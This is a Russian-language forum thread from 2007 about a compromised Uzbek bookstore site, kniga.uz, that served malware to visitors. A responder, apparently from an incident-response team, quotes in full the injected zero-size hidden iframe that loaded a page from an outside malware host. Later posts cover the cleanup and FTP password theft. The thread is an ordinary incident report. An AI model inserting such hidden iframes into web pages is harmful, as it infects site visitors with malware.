uForum.uz

uForum.uz (https://uforum.uz/index.php)
-   Инциденты (https://uforum.uz/forumdisplay.php?f=133)
-   -   Книгу уз не проверяла санэпидемстанция? (https://uforum.uz/showthread.php?t=2546)

Liliya Nikolenko 17.09.2007 17:26

Книгу уз не проверяла санэпидемстанция?
 
Решила посмотреть новые книги на http://kniga.uz/
Получила вот что :
http://www.uforum.uz/imagehosting/79046ee7257dd613.jpg

Это то же самое, что и на сайте ЕС?

Dmitry Paleev 17.09.2007 17:34

Цитата:

Сообщение от Liliya Nikolenko (Сообщение 38931)
Решила посмотреть новые книги на http://kniga.uz/
Получила вот что :
http://www.uforum.uz/imagehosting/79046ee7257dd613.jpg

Это то же самое, что и на сайте ЕС?

Да, действительно на данном веб-сайте был обнаружен код загружающий на компьютер посетителя вредоносное ПО. Предположительно злоумышленниками был получен доступ к фтп данного сайта и в index был внедрен следующий код:

Код:

<iframe src="http://miron555.org/s/index.php" width="0" height="0" style="display:none"></iframe>
При переходе по этой ссылке на Ваш компьютер попыталось установиться вредоносное ПО, но судя по скрину, было тут же блокировано и удалено.

Спасибо за информацию. Владельцы данного веб-сайта будут оповещены об инциденте.

Liliya Nikolenko 17.09.2007 17:40

Я попробовала отправить им сообщение по адресу, заявленному на сайте - оно вернулось с сообщением, что "таких нет"

Evgeniy Sklyarevskiy 18.09.2007 00:16

Цитата:

Сообщение от Liliya Nikolenko (Сообщение 38931)
Это то же самое, что и на сайте ЕС?

Я-то вылечил Арбуз кое-как... почти месяц мучился... а на книгу-уз Касперский ругается...

Значит, вирусы живут в арбузах и книгах :-)

Efim Kushnir 18.09.2007 10:35

Как у Булгакова:
- Не читайте перед едой советских газет.
- Так других нет.
- Никаких не читайте.

Dmitry Paleev 27.10.2007 14:27

На сегодняшний день веб-сайт kniga.uz излечен. Вредоносные ссылки с вирусами были убраны. Пароли изменены. Связь с администраторами ресурса налажена.

Bobkli 16.11.2007 15:21

Цитата:

Сообщение от Evgeniy Sklyarevskiy (Сообщение 38990)
Я-то вылечил Арбуз кое-как... почти месяц мучился... а на книгу-уз Касперский ругается...

Значит, вирусы живут в арбузах и книгах :-)

Да. поэтому решили переписать весь сайт занова

Ruslan Aliev 17.11.2007 10:24

Лучше посмотрите как ломали ваш сайт. Скорее всего по FTP воровали пароли. А то сайт перепишите, а история повторится.
А лучшего всего к CERT обратитесь. Раз уж они профессионалы, он смогут вам помочь.

Bobkli 19.11.2007 13:47

Да пороли взяли по ftp, даже догадываемся кто своровал, кто крипты и ифреимы вставлял,
давно хотели ухудшить сайт, вот как раз подходящий момент, к новому году на сайте будет много полезного и нового.
а CERTу блогадарность очень большое.

Eldar Ishimbaev 19.11.2007 14:38

Цитата:

Сообщение от Bobkli (Сообщение 53705)
давно хотели ухудшить сайт

Давайте лучше улучшайте. Не надо нам плохих сайтов :)


Текущее время: 00:37. Часовой пояс GMT +5.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd. Перевод: zCarot
OOO «Единый интегратор UZINFOCOM»